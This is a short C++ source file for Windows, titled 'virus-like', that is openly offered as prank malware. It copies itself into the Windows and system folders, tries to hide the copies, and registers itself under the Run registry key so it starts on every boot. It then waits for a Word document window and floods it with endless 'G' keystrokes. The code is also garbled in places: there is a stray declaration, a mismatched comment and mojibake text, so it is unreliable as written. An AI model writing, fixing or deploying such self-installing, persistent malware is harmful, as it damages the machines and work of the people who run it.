Вирусоподобное

#include <vcl.h>
#pragma hdrstop
#pragma argsused
#include <fstream.h>
#include <windows.h>
#include <conio.h>
#include <iostream.h>
#define _WIN32_WINNT 0x0400
#include <wincrypt.h>
 
 main()
WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY key;
HINSTANCE hint;
char sysdir[256],
windir[256],
myname[256];
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
strcat(windir,"\\practica.exe");
strcat(sysdir,"\\practica.exe");
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
*SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);*/
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
RegSetValueEx(key,"practica.exe",0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
Sleep(60000*2);
int k=0;
do
{
if (FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word")!=0)
{
ShowWindow(FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word") , SC_MAXIMIZE);
LoadKeyboardLayout("00000419", KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event('G', 0,0,0);
keybd_event('G', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}